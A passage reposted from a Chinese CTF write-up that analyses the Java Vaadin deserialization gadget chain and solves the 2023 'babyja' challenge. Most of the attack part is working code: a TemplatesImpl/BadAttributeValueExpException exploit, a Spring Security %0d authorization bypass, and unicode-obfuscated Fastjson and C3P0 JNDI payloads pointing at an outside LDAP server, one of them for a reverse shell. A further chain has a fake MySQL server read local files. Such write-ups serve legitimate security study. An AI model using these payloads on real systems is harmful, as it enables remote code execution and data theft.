CTFer谈Vaadin链分析


0x00 前言


  新年快乐师傅们,过完年了又得开工了,本次分享的内容为 从CTF中学习Vaadin gadgets,本篇文章原文放到了我的博客里头,博客链接为 https://zjackky.github.io/,希望大家能够一篇文章+一个题搞定Vaadin链


0x01 Vaadin链简介


  Vaadin 可以理解为是一个平台吧,有UI,了解即可,Vaadin 的反序列化调用链其实蛮简单的,就是反射调用getter方法罢了,赖如下

vaadin-server : 7.7.14vaadin-shared : 7.7.14



0x02 漏洞类分析


NestedMethodProperty


com.vaadin.data.util.NestedMethodProperty 

类可以理解为是一个封装属性方法的类,其构造方法如下

CTFer谈Vaadin链分析


接收两个参数,一个是实例化的对象,一个是属性值。然后调用初始化方法将调用initialize方法获取实例类中的相关信息存放在成员变量中。跟进该初始化方法


CTFer谈Vaadin链分析

发现已经获取到了我们传入的属性值的getter方法

CTFer谈Vaadin链分析

并且进行对象属性的一些赋值封装

CTFer谈Vaadin链分析

然后这个NestedMethodProperty类存在getValue方法


将我们上述封装的getMethods这个方法数组类进行遍历且调用里面的属性的方法名

CTFer谈Vaadin链分析

因此这个类又是可以触发TemplatesImpl的利用方式,所以找哪个类存在 能够触发NestedMethodProperty#getvalue()去调用getter方法,于是找到下面的类


PropertysetItem


触发类是

com.vaadin.data.util.PropertysetItem

这个类实现了几个接口,初始化后能够对自己的map属性,list属性进行操作,数据存放在成员变量 map 中,想要获取相应属性时,则调用getItemProperty方法在 map 中获取,需要传入一个对象

CTFer谈Vaadin链分析

而这个类重点则是他存在toString方法

CTFer谈Vaadin链分析

从list中获取值然后去调用getValue

CTFer谈Vaadin链分析

那么这个list怎么赋值呢,可以关注addItemProperty方法

CTFer谈Vaadin链分析

将我们传入的id值传入,断点看下这个getItemPropertyIds的返回值是什么

CTFer谈Vaadin链分析

其实可以发现他返回的就是我们list的内容

那之后取出list的内容后再从map中去找对应的值去调用我们的getvalue方法

CTFer谈Vaadin链分析


那么现在目的就是

  1. list有一个需要调用他的getter方法的id

  2. map也需要一个调用他的getter方法的id并且取出来的值为NestedMethodProperty类来调用他的getvalue方法


最后的问题就是如何在反序列化的时候调用任意类的Tostring方法了,而在我们的CC5当中就接触过这个类叫BadAttributeValueExpException,他的反序列化是可以调用任意类的ToString方法的,于是参考SU18师傅的EXP成功弹出计算机

package Vaadin;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.vaadin.data.util.NestedMethodProperty;import com.vaadin.data.util.PropertysetItem;
import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;
public class Vaadin_Ser {

public static void serialize(Object obj) throws IOException { ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void main(String[] args) throws Exception {
// 生成包含恶意类字节码的 TemplatesImpl 类 byte[] payloads = Files.readAllBytes(Paths.get("D:\Security-Testing\Java-Sec\Java-Sec-Payload\target\classes\Evail_Class\Calc_Ab.class"));

TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][] {payloads}); setFieldValue(templates, "_name", "zjacky"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
PropertysetItem pItem = new PropertysetItem();
NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object>(templates, "outputProperties"); pItem.addItemProperty("outputProperties", nmprop);
// 实例化 BadAttributeValueExpException 并反射写入 BadAttributeValueExpException exception = new BadAttributeValueExpException("zjacky"); Field field = BadAttributeValueExpException.class.getDeclaredField("val"); field.setAccessible(true); field.set(exception, pItem);
// serialize(exception);unserialize("ser.bin");
}}


CTFer谈Vaadin链分析


整个链代码量非常少,其实还是很简单的自己动手跟下即可非常容易理解


0x03 CTFer


这里学完这个之后来以2023年福建省赛黑盾杯的初赛babyja来进行案例分析,考点如下(其实这个题很多解法)

  1. Fastjson 黑名单绕过 or 不出网应用

  2. Spring Security 权限绕过

  3. Vaadin反序列化链

  4. C3P0二次反序列化

0x04 目录结构


CTFer谈Vaadin链分析

查看pom.xml

CTFer谈Vaadin链分析

其实意图就很明显三个组件都能相互配合(马后炮)


并且存在Spring Security的一个权限鉴权,先查看下AuthConfig.class 发现是用regexMatchers来进行正则匹配路径,去查看下spring Security的版本为 5.6.3 ,而这里由于设计问题看他的控制器是随便什么都可以进入逻辑 相当于admin/* ,所以完全符合漏洞版本所以可以使用%0d绕过


CTFer谈Vaadin链分析

直接访问302

CTFer谈Vaadin链分析

权限绕过后返回WellDone

CTFer谈Vaadin链分析

当然给出账号密码也是可以登录获取Session的

CTFer谈Vaadin链分析

获取到

JSESSIONID=FC8D9FE4BBDAE0BC554377DB1CAFCBE8

发现成功执行

CTFer谈Vaadin链分析

再来查看控制器

CTFer谈Vaadin链分析

可以发现传入data这个json字符串然后进行鉴权并且给到JSON.parse解析,其实可以想到绕过黑名单+fastjson打C3p0不出网这个思路,也可以直接打jndi注入吧,跟进SecurityCheck

CTFer谈Vaadin链分析

可以想到用16进制或者unicode来进行绕过黑名单,所以有以下打法



0x05 JNDI注入(出网+jdk低版本)


本地用的是jdk8u65


POST /admin/user%0d HTTP/1.1Host: localhost:8080Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Content-Length: 0Content-Type: application/x-www-form-urlencodedSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36sec-ch-ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"
data={{urlenc(eyJAdHlwZSI6Ilx1MDA2M1x1MDA2Zlx1MDA2ZFx1MDAyZVx1MDA3M1x1MDA3NVx1MDA2ZVx1MDAyZVx1MDA3Mlx1MDA2Zlx1MDA3N1x1MDA3M1x1MDA2NVx1MDA3NFx1MDAyZVx1MDA0YVx1MDA2NFx1MDA2Mlx1MDA2M1x1MDA1Mlx1MDA2Zlx1MDA3N1x1MDA1M1x1MDA2NVx1MDA3NFx1MDA0OVx1MDA2ZFx1MDA3MFx1MDA2YyIsImRhdGFTb3VyY2VOYW1lIjoibGRhcDovLzEwNy4xNzQuMjI4Ljc5OjEzODkvQmFzaWMvQ29tbWFuZC9jYWxjIiwiYXV0b0NvbW1pdCI6dHJ1ZX0=)}}


直接反弹shell即可

{"@type":"u0063u006fu006du002eu0073u0075u006eu002eu0072u006fu0077u0073u0065u0074u002eu004au0064u0062u0063u0052u006fu0077u0053u0065u0074u0049u006du0070u006c","dataSourceName":"ldap://xxx:1389/Basic/ReverseShell/xxx/7979","autoCommit":true}


CTFer谈Vaadin链分析


当然除了直接打1.2.24的JNDI 也可以打C3P0的JNDI,只是需要用unicode或者16进制去绕过即可


{"@type":"com.mchange.v2.c3p0.u004au006eu0064u0069u0052u0065u0066u0043u006fu006eu006eu0065u0063u0074u0069u006fu006eu0050u006fu006fu006cu0044u0061u0074u0061u0053u006fu0075u0072u0063u0065","u004au006eu0064u0069u004eu0061u006du0065":"ldap://127.0.0.1:1389/Basic/Command/calc", "LoginTimeout":0}


CTFer谈Vaadin链分析


0x06 不出网打二次反序列化


C3P0打二次反序列化, 可以看到该题存在Vaadin的依赖,所以可以通过C3P0打Vaadin的反序列化,但是由于他把TemplatesImpl的16进制也给ban了,这样子我们就没办法用C3P0打二次反序列化来使用TemplatesImpl加载字节码了


CTFer谈Vaadin链分析

所以只能另从别的思路来看,从始至终我们并没有去讨论题目的bean目录,现在来看下

一个接口

CTFer谈Vaadin链分析


CTFer谈Vaadin链分析

可以发现这里存在getConnection方法,而在Vaadin分析中可以得知,其链子一部分是可以调用任意属性的getter方法的,所以在这里思路就是:调用getConnection方法来控制JDBC来连恶意的mysql从而读取flag,恶意的mysql为https://github.com/fnmsd/MySQL_Fake_Server


根据Vaadin的exp来修改下即可,最后的exp为


import com.ctf.bean.MyBean;import com.vaadin.data.util.NestedMethodProperty;import com.vaadin.data.util.PropertysetItem;
import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;

public class Vaadin_Ser {

public static void serialize(Object obj) throws IOException { ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static byte[] ser(Object obj) throws Exception{ ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(bos); out.writeObject(obj); out.flush(); return bos.toByteArray(); } public static String bytesToHexString(byte[] bArray) { StringBuffer sb = new StringBuffer(bArray.length); for (byte b : bArray) { String sTemp = Integer.toHexString(255 & b); if (sTemp.length() < 2) { sb.append(0); } sb.append(sTemp.toUpperCase()); } return sb.toString(); }

public static void main(String[] args) throws Exception {
MyBean myBean =new MyBean(); myBean.setDatabase("mysql://xxx:3306/test?user=fileread_file:///flag.txt&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=65536&allowUrlInLocalInfile=true#");
PropertysetItem pItem = new PropertysetItem();
NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object>(myBean, "Connection"); pItem.addItemProperty("Connection", nmprop);
// 实例化 BadAttributeValueExpException 并反射写入 BadAttributeValueExpException exception = new BadAttributeValueExpException("zjacky"); Field field = BadAttributeValueExpException.class.getDeclaredField("val"); field.setAccessible(true); field.set(exception, pItem);
// 序列化并输出 HEX 序列化结果 System.out.println(bytesToHexString(ser(exception)));
}}

这里有一个很重要的东西,就是包名一定要得对(CTFer的痛)

CTFer谈Vaadin链分析

mysql://1.1.1.1:3306/test?user=fileread_file:///.&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=65536&allowUrlInLocalInfile=true#mysql://1.1.1.1:3306/test?user=fileread_file:///flag.txt&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=65536&allowUrlInLocalInfile=true#

CTFer谈Vaadin链分析


原文始发于微信公众号(Poker安全):CTFer谈Vaadin链分析

版权声明:admin 发表于 2024年2月18日 下午10:25。
转载请注明:CTFer谈Vaadin链分析 | CTF导航

相关文章